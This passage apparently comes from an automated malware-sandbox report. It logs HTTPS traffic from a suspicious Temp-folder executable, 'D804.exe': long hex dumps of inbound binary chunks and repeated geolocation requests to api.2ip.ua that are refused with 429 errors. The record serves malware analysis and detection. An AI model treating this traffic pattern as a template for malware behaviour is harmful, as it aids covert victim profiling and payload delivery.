fd ff b8 f4 82 42 00 e9 f2 d2 fd ff c7 05 60 ac 42 00 50 12 40 00 Data Ascii: 1f40xD(MMgh?L"FU4VBqIlma^0bw3+OYVm%FD'_]A0k/8\|n9 Z2z$.0QZo 2$>t;Bds:tT$BJ3}B7EB zB`BP@
2023-05-28 08:43:04 UTC	755	IN	Data Raw: ff dc a7 d7 b9 85 66 71 b1 0d 40 00 00 00 00 00 00 ff ff 0d 40 f7 36 43 0c 98 19 f6 95 fd 3f 00 00 00 00 00 00 e0 3f 03 65 78 70 00 00 00 00 00 00 00 00 00 01 14 00 b1 c6 40 00 7d 9b 40 00 82 9b 40 00 f1 c7 40 00 00 00 94 26 00 00 14 00 00 00 14 14 40 00 1d 00 00 00 18 14 40 00 1a 00 00 00 08 14 40 00 1b 00 00 00 0c 14 40 00 1f 00 00 00 f4 1b 40 00 13 00 00 00 ec 1b 40 00 21 00 00 00 e4 1b 40 00 0e 00 00 00 00 14 40 00 0d 00 00 00 f8 13 40 00 0f 00 00 00 dc 13 40 00 10 00 00 00 dc 1b 40 00 05 00 00 00 d4 1b 40 00 1e 00 00 00 c0 13 40 00 12 00 00 00 bc 13 40 00 20 00 00 00 b8 13 40 00 0c 00 00 00 d4 13 40 00 0b 00 00 00 cc 13 40 00 15 00 00 00 cc 1b 40 00 1c 00 00 00 c4 13 40 00 19 00 00 00 c4 1b 40 00 11 00 00 00 bc 1b 40 00 18 00 00 00 b4 1b 40 00 16 00 Data Ascii: fq@@6C??exp@}@@@&@@@@@@!@@@@@@@@ @@@@@@@@
2023-05-28 08:43:04 UTC	763	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	763	IN	Data Raw: 31 66 34 30 0d 0a 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 38 9b fe fb b1 9c 22 3a 58 3a 6e 02 6e 6e 1e 20 7c 15 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f a1 c0 5a 08 61 54 22 6e 58 ee a6 9c 2e 2e ca ca 5c 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f fa 87 38 85 cf cf 3b aa e4 68 80 df 2e 2e 20 e2 84 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 10 57 0f f1 37 1f 79 79 95 ab b4 ca c1 9d 42 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f f0 18 b4 c1 45 5c 42 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: 1f40/////////////////8":X:nnn \|//////////////////////////////ZaT"nX..\///////////////////////////////8;h.. /////////////////////////////////W7yyB/////////////////////////////////////////E\B//////////////////////
2023-05-28 08:43:04 UTC	771	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 7e 7e 7e 7f 7f 80 81 7f 80 80 80 81 80 81 7e 7e 7f 7f 80 7f 7f 80 81 7f 80 7f 80 7f 7f 80 7f 81 7e 7e 7f 81 80 81 81 80 81 81 80 80 7e 81 7e 80 7e 80 7f 7f 7f 80 7f 81 7f 81 7e 7f 81 7f 7e 80 7f 7f 80 80 7f 81 81 7f 81 80 7e 81 80 7f 80 81 80 7f 7f 7f 80 7f 7f 80 81 7f 80 80 7f 80 80 81 81 7f 80 7e 7f 7f 80 80 7f 7f 80 7f 7f 81 80 80 7e 81 81 7f 7f 81 7f 80 81 80 80 81 80 7f 80 7e 81 7f 7f 81 7f 7e 81 7f 7f 80 7f 7f 81 80 7e 7f 7e 7f 7f 7f 80 80 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 7e 7f 80 81 7e 80 80 7f 7f 7e 7f 7e 7f 7e 81 81 7e 7f 7e 80 7f 80 7e 7e 80 7e 7f 80 80 7e 7e 7f 7f 7f 80 7e 7f 80 7e 7f 81 80 7f 80 7f Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	779	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	779	IN	Data Raw: 31 66 34 30 0d 0a 7e 80 81 7e 7f 7f 80 80 80 80 7f 80 7f 81 80 7e 7e 80 80 80 80 80 81 80 80 81 7f 80 7f 80 7f 80 7f 80 80 80 7e 80 81 81 7f 7e 80 7f 80 80 7f 81 81 7e 80 7f 80 7e 7e 7e 7f 80 7f 80 7f 80 81 7f 7f 7e 7e 80 80 7f 7f 80 81 7e 7f 7e 80 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 80 7e 81 80 7f 80 7f 80 7f 7f 7f 80 7f 7e 7f 80 7f 80 7f 80 80 7f 7e 80 80 7e 7e 7f 7e 7e 7f 7f 7e 81 80 80 80 7f 81 7f 7f 80 7e 81 7f 80 7f 7e 7f 7f 7e 81 81 80 80 80 81 7e 7f 7f 81 7e 80 80 7f 7e 7e 7f 81 80 80 81 7f 80 81 7f 7f 7f 81 7f 7f 7f 80 7f 7f 80 80 81 81 80 7f 7f 7f 7f 80 7f 80 81 7f 7f 81 81 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 81 81 80 80 80 7f 80 81 80 80 80 7e 7e 7f 80 7f 7f 80 80 7f 7f 80 80 7e 80 7e 80 7f Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	787	IN	Data Raw: 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a b7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 1e b0 0a 6a 6a 6a 6a 6a 6a 6a 2b e6 f1 06 3d fe 2b b7 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 6a 84 69 f6 51 1c da 6f 47 a9 b4 6a 6a e6 54 e5 c0 dc ba 5c e7 19 6a 6a 6a 6a 6a 6a 6a 6a 6a 2b 81 7a 80 7e 74 f5 04 df f5 61 85 47 d0 fe f2 e5 51 03 56 00 e9 8a 2b 6a 6a 6a 6a 6a 6a 6a 6a e6 11 74 4f 22 22 ea 64 22 a5 51 06 60 c8 85 1a 54 24 00 50 50 83 5f 77 6a 6a 6a 6a 6a 6a 6a b7 2f 7a 33 c1 24 d7 c7 13 71 76 ba cd 99 88 b1 51 8a e9 00 98 1f ed d7 69 6a Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj+=+jjjjjjjjjjjiQoGjjT\jjjjjjjjj+z~taGQV+jjjjjjjjtO""d"Q`T$PP_wjjjjjjj/z3$qvQij
2023-05-28 08:43:04 UTC	794	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	794	IN	Data Raw: 31 66 34 30 0d 0a 7e 7f 81 81 7f 81 7f 81 81 7f 80 80 7e 7f 7f 7e 7e 7f 80 81 7e 7e 81 7f 7f 80 81 7f 81 80 7f 80 80 80 7f 80 7e 7e 7f 7f 7f 7f 80 7f 7e 80 7f 80 7f 80 7e 7e 7f 7e 7e 7f 7f 7f 80 7f 7e 7f 7f 7f 80 80 81 7e 81 7f 7f 81 7f 80 80 80 81 81 7e 80 81 7e 7e 81 80 7f 7e 7f 7f 7e 80 7f 80 7e 7f 7f 7f 80 7e 7f 80 80 80 80 80 80 80 81 80 80 81 7f 7e 7e 80 7f 7e 7f 80 7e 80 7e 81 7f 7f 81 81 81 7f 80 81 80 7e 7e 81 7f 80 7f 7e 7f 7f 7f 7f 7f 7f 7e 7e 7e 7f 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7e 7e 7f 7f 7f 81 80 81 7f 81 7e 7f 7f 81 80 80 80 80 7f 80 7e 7f 7f 80 7f 7e 7f 80 7f 7f 80 81 7e 81 80 80 80 7f 7e 7e 80 7e 81 80 7e 7f 7f 7e 81 80 80 7f 7f 81 7e 7f 7f 80 80 7e 7e 7f 80 7f 81 80 81 80 80 81 7f 81 7e 7f 80 7f 7f Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	802	IN	Data Raw: 80 80 80 7f 7f 7e 80 7e 80 80 80 7e 7f 7f 7f 7f 81 7f 7f 81 7f 00 00 00 00 00 00 00 00 7e 81 80 81 7e 80 80 80 00 00 00 00 7f 81 80 7f 80 7f 81 7f 80 7f 7f 80 7e 80 7f 7e 7e 81 80 80 80 81 7f 7f 80 7e 7f 7e 81 7e 80 7f 7f 7e 7f 7f 7f 7e 81 7f 7f 80 7f 80 7f 80 81 7f 7e 7f 81 7f 7f 80 7f 80 7e 7e 80 7f 81 7f 81 7f 80 80 80 80 7f 7e 7f 7e 80 81 80 7f 7e 7e 81 7f 7e 81 7e 81 7e 7f 7f 81 80 81 7e 7f 7f 7e 7f 7e 81 81 7f 81 80 7f 7f 81 81 80 81 81 80 81 80 7f 00 00 00 00 ff ff ff ff ff ff ff ff ff f0 00 7f 80 00 00 0f 00 00 00 03 00 00 00 00 c0 00 00 00 80 00 00 03 80 00 00 03 00 00 00 03 00 00 00 01 80 00 00 01 00 00 00 03 80 00 00 03 80 00 00 00 80 00 00 03 00 00 00 03 c0 00 00 03 00 00 00 03 00 00 00 03 80 00 00 01 80 00 00 02 00 00 00 00 80 00 00 01 80 00 Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	810	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	810	IN	Data Raw: 31 66 34 30 0d 0a 7e 80 00 7f 80 80 00 80 7f 7f 00 7e 7f 80 00 7e 7f 7f 00 81 80 7f 00 80 81 7e 00 80 7f 7f 00 7f 7f 81 00 7f 7f 7f 00 7f 80 81 00 7f 80 81 00 7f 80 7f 00 81 80 80 00 81 80 81 00 80 7f 80 00 80 81 80 00 81 80 7f 00 80 80 7f 00 7f 81 80 00 7f 81 81 00 7f 7e 81 00 7f 81 81 00 80 80 7f 00 7f 7f 80 00 7e 80 80 00 80 7e 7f 00 80 7f 80 00 80 7f 7f 00 7f 81 80 00 80 80 7f 00 80 7f 80 00 81 81 7e 00 7f 7e 7f 00 81 80 80 00 80 80 80 00 80 7e 7e 00 7e 80 80 00 80 80 80 00 7f 7f 80 00 7f 7f 7f 00 7f 81 81 00 81 7f 81 00 81 7f 7e 00 7f 80 7f 00 7f 81 80 00 7e 80 80 00 80 7e 81 00 80 7e 7e 00 7f 80 80 00 80 7f 7f 00 80 7f 7f 00 7f 7f 81 00 7f 80 7f 00 7f 7e 7e 00 80 80 7f 00 81 81 7e 00 7f 80 7f 00 7f 80 80 00 7e 81 7f 00 81 81 80 00 7f 81 7f 00 80 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	818	IN	Data Raw: 80 7f 7f 80 80 7f 80 80 80 7f 7e 81 7f 81 81 80 7f 80 80 7f 7f 7e 7f 7f 7e 80 7f 7f 81 80 7f 7f 81 80 7f 7e 80 7f 80 7f 80 80 81 80 81 7e 80 7f 7f 80 7f 81 7f 7f 81 81 7f 7f 7e 7f 80 7e 80 7e 7e 80 81 80 80 7e 80 80 7f 81 7f 81 81 7f 80 81 7f 7f 7f 7e 7e 80 7f 7e 80 7e 7f 80 7f 80 7f 7f 7e 7f 7f 7f 7f 80 80 7e 7f 80 7f 80 7f 7f 80 80 80 81 7f 81 7f 81 81 81 80 80 80 7f 81 81 7f 7e 7f 7f 80 7f 81 7f 80 81 80 80 81 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 81 80 80 7f 7f 7e 80 81 81 7f 7f 7f 7f 7f 7f 80 7f 7f 7e 80 81 80 80 81 80 80 7e 80 7e 7f 7e 7f 80 80 7e 7e 81 80 7f 7e 80 81 7f 81 80 7e 7f 80 80 81 7f 80 7f 80 7f 7e 80 7f 7f 7f 81 80 7f 7e 81 7e 7f 80 7f 7f 80 80 7f 7e 80 80 7e 7f 7f 7f 80 7e 7e 7f 80 7f 7e 81 7f 7f 81 7f 81 7f 80 7e Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	826	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	826	IN	Data Raw: 31 66 34 30 0d 0a 81 7f 80 81 7f 81 7f 80 7e 7f 81 7e 7e 7f 7f 7f 80 7f 80 7f 7f 7f 80 7f 81 81 7e 7f 80 7e 7f 80 81 81 80 80 7f 80 7f 80 80 80 7e 7f 7f 7e 80 00 00 00 00 00 00 00 00 7f 80 81 80 7e 7e 7e 7f 80 7f 81 80 81 7f 80 80 7e 7e 7f 81 7f 7e 7f 7e 80 81 80 81 81 81 81 7f 7f 7f 7f 7f 80 7e 7e 80 7e 7f 7e 80 80 81 80 80 81 80 7f 81 7f 7f 81 80 80 7f 7f 80 80 7f 80 7f 7f 7e 7f 7e 80 81 81 80 7f 7f 7f 81 80 7f 80 7f 7f 80 7f 7f 7e 7f 7f 81 7f 7f 81 7e 81 81 7f 81 80 7f 7f 81 7f 81 7e 81 7f 80 80 81 7e 7f 7f 80 81 80 7f 7f 7f 80 7f 80 80 7f 80 7f 00 00 00 00 7e 7f 80 80 80 7e 7f 81 7f 81 7f 7f 81 7f 80 81 80 80 7e 80 81 7f 7e 7f 81 7f 7f 80 80 80 7f 7f 7e 80 7f 7f 7f 7e 7f 80 80 7f 7e 7f 7e 7f 80 7e 7f 7e 7f 80 7e 7f 7e 81 7f 80 80 80 7e 80 7f 7e 7f 80 Data Ascii: 1f40~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-05-28 08:43:04 UTC	834	IN	Data Raw: 00 7e 7e 81 00 81 81 81 00 86 7b 84 00 7b 84 80 00 80 80 84 00 79 7e 7a 00 7c 7e 83 00 7b 7c 7c 00 80 85 7b 00 80 7c 7c 00 7c 84 79 00 7d 81 81 00 7e 7d 7b 00 82 7f 80 00 82 7c 81 00 80 80 84 00 85 81 7e 00 7f 84 7c 00 7f 7a 81 00 7f 7a 7e 00 80 84 83 00 80 82 81 00 85 7c 7b 00 7e 81 7b 00 81 7b 7e 00 80 80 80 00 80 7f 7d 00 84 7d 81 00 7b 7c 85 00 84 7e 7c 00 83 7d 83 00 82 82 85 00 84 80 86 00 83 7b 7c 00 84 83 82 00 81 7e 7c 00 83 7f 7e 00 7f 7d 7d 00 85 84 7b 00 7b 81 85 00 82 7e 7e 00 81 83 7c 00 7b 7d 84 00 83 82 7e 00 81 80 7f 00 81 84 7b 00 83 7d 80 00 85 7c 7f 00 82 7f 84 00 86 7c 83 00 7d 7c 83 00 7d 7c 84 00 83 84 84 00 80 84 83 00 7f 80 83 00 84 80 83 00 82 7f 85 00 80 7f 81 00 81 7b 7b 00 7a 7e 83 00 7f 7e 82 00 82 80 80 00 7d 81 7d 00 86 7f Data Ascii: ~~{{y~z\|~{\|\|{\|\|\|y}~}{\|~\|zz~\|{~{{~}}{\|~\|}{\|~\|~}}{{~~\|{}~{}\|\|}\|}\|{{z~~}}
2023-05-28 08:43:04 UTC	841	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	841	IN	Data Raw: 31 66 34 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 7e 7c 7f 7a 7d 7f 7a 7e 83 7c 82 80 7c 80 84 7c 7c 7e 81 7a 7f 7f 7f 7c 7e 82 85 7e 7f 7e 7b 81 7d 7e 84 81 84 80 83 7e 84 7f 7b 85 7e 7e 81 7a 7f 81 80 7c 81 7a 85 7e 7f 80 83 81 81 7d 7f 80 80 80 85 7f 7e 7a 7e 7a 7f 7b 7e 84 83 81 7e 7f 7a 81 7e 7e 7b 82 82 7a 7e 7c 86 7e 7d 79 7c 81 7e 7f 81 84 7d 7c 83 83 84 7c 84 7d 7b 7e 83 7b 7a 79 7d 7e 7f 80 80 7f 7c 81 84 81 7b 80 7f 7c 7d 7b 79 7e 7f 81 85 85 82 86 7b 79 7b 83 81 7f 7e 83 80 85 7b 83 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 81 80 83 85 85 7c 84 81 7f 7f 7f 83 84 83 7d 82 7f 7b 80 80 7b 7d 82 7d 7b 7e 7f 84 80 7f 80 7b 85 86 83 7d 80 7c 86 84 7c 82 81 7f 82 82 81 7f 83 83 81 84 85 7c 7c 82 7f Data Ascii: 1f40\|~\|z}z~\|\|\|\|~z\|~~~{}~~{~~z\|z~}~z~z{~~z~~{z~\|~}y\|~}\|\|}{~{zy}~\|{\|}{y~{y{~{\|\|}{{}}{~{}\|\|\|\|
2023-05-28 08:43:04 UTC	849	IN	Data Raw: 7f 84 83 81 84 84 7c 80 82 80 85 80 7e 7e 81 82 7e 7c 7c 7d 82 7e 80 7c 83 83 82 7d 86 00 00 00 00 00 00 00 00 00 00 00 00 80 7a 7c 7d 82 81 82 81 7c 84 81 83 7d 81 82 7f 7d 82 7e 81 82 82 7e 81 7d 7f 7d 7f 7d 82 86 83 7f 80 85 7f 7e 83 84 84 7b 82 7f 7f 7e 81 80 83 7f 80 7f 7a 7e 7f 7f 7c 7e 80 7e 80 84 82 7e 83 81 83 7f 82 84 7e 81 81 82 7f 7f 7f 82 7d 7d 80 7f 84 86 84 7c 80 7f 82 84 7b 79 82 7d 7c 7a 81 82 7c 80 82 7e 7b 81 7e 80 7c 7b 81 7c 80 7d 81 00 00 00 00 00 00 00 00 00 00 00 00 7c 80 7b 84 81 80 85 7c 86 81 83 82 80 7e 7f 83 7f 7c 80 85 7f 82 85 85 81 7c 80 7b 82 7a 82 83 7e 82 7c 7e 7c 7d 7f 81 7e 7e 7f 84 84 81 7f 83 79 7d 7f 81 84 7d 82 7a 7b 81 82 7f 81 7b 80 7f 7c 83 7e 81 85 7b 7e 7f 85 7c 7b 80 7c 7e 7d 82 7e 82 7e 83 7b 7c 84 7f 7e 82 Data Ascii: \|~~~\|\|}~\|}z\|}\|}}~~}}}~{~z~\|~~~~}}\|{y}\|z\|~{~\|{\|}\|{\|~\|\|{z~\|~\|}~~y}}z{{\|~{~\|{\|~}~~{\|~
2023-05-28 08:43:04 UTC	857	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	857	IN	Data Raw: 31 66 34 30 0d 0a 00 65 00 6d 00 6f 00 20 00 62 00 6f 00 74 00 75 00 64 00 75 00 68 00 65 00 73 00 65 00 6e 00 6f 00 20 00 6a 00 65 00 6e 00 75 00 77 00 75 00 6e 00 6f 00 72 00 20 00 66 00 61 00 68 00 75 00 20 00 77 00 6f 00 66 00 6f 00 74 00 65 00 6c 00 69 00 63 00 1e 00 52 00 61 00 62 00 65 00 6a 00 75 00 67 00 6f 00 68 00 20 00 64 00 75 00 70 00 69 00 20 00 67 00 6f 00 79 00 69 00 67 00 69 00 6c 00 6f 00 68 00 61 00 70 00 61 00 70 00 75 00 6c 00 24 00 4b 00 69 00 6d 00 6f 00 6b 00 69 00 6e 00 65 00 7a 00 20 00 76 00 69 00 7a 00 20 00 6d 00 65 00 6d 00 6f 00 62 00 75 00 20 00 67 00 69 00 76 00 69 00 78 00 69 00 64 00 6f 00 64 00 69 00 62 00 75 00 6d 00 61 00 76 00 0f 00 5a 00 69 00 6e 00 6f 00 6d 00 61 00 6c 00 75 00 6a 00 75 00 78 00 6f 00 70 00 61 00 Data Ascii: 1f40emo botuduheseno jenuwunor fahu wofotelicRabejugoh dupi goyigilohapapul$Kimokinez viz memobu givixidodibumavZinomalujuxopa
2023-05-28 08:43:04 UTC	865	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-05-28 08:43:04 UTC	872	IN	Data Raw: 0d 0a Data Ascii:
2023-05-28 08:43:04 UTC	872	IN	Data Raw: 33 66 66 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3ff

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49755	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:04 UTC	873	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:04 UTC	874	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:04 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:04 UTC	874	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.3	49762	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:07 UTC	875	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:07 UTC	875	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:07 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-28 08:43:07 UTC	875	IN	Data Raw: 32 32 61 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 63 6c 61 73 73 65 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 2f 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 22 3e 0a 09 09 09 09 4c 69 6d 69 74 20 6f 66 20 72 65 74 75 72 6e 65 64 20 6f 62 6a 65 63 74 73 20 68 61 73 20 62 65 65 6e 20 72 65 61 63 68 65 64 2e 20 46 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 62 79 20 65 6d 61 69 6c 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 68 65 6c 70 40 32 69 70 2e 6d 65 3f 73 75 62 6a 65 63 74 3d 32 69 70 2e 6d 65 22 3e 68 65 6c 70 40 32 69 70 2e 6d 65 3c 2f 61 3e 2e 20 3c 62 72 3e 3c 62 72 3e 20 d0 Data Ascii: 22a<link rel="stylesheet" href="classes/style.css" type="text/css" /><div class="error">Limit of returned objects has been reached. For more information please contact by email <a href="mailto:help@2ip.me?subject=2ip.me">help@2ip.me</a>. <br><br>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49765	162.0.217.254	443	C:\Users\user\AppData\Local\Temp\D804.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-28 08:43:08 UTC	876	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2023-05-28 08:43:08 UTC	876	IN	HTTP/1.1 429 Too Many Requests Date: Sun, 28 May 2023 08:43:08 GMT Server: Apache Strict-Transport-Security: max-age=63072000; preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block; report=... Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, OPTIONS, PATCH, DELETE Access-Control-Allow-Headers: X-Accept-Charset,X-Accept,Content-Type Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
